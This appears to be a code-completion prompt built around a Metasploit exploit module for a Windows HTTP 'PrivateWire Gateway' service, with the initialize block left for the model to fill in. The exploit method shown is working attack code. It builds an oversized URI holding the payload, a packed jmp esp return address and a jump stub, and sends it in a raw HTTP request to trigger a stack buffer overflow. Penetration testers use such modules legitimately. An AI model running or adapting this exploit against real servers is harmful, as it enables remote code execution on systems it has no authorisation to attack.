You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: privatewire_gateway.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# This file may only be distributed as part of the Metasploit Framework.
# Any other use needs a written permission from the author.

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      '
    
  def exploit
    # add 25 to ecx and jmp
    jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"

    path_offset = datastore['PATH'].length - 8

    pattern                            = rand_text_alphanumeric(8192)
    pattern[0, payload.encoded.length] = payload.encoded
    pattern[8156 - path_offset, 4]     = [target.ret].pack('V')
    pattern[8160, jmp.length]          = jmp

    print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

    send_request_raw({
        'uri' => "/" + pattern
      }, 2)
  end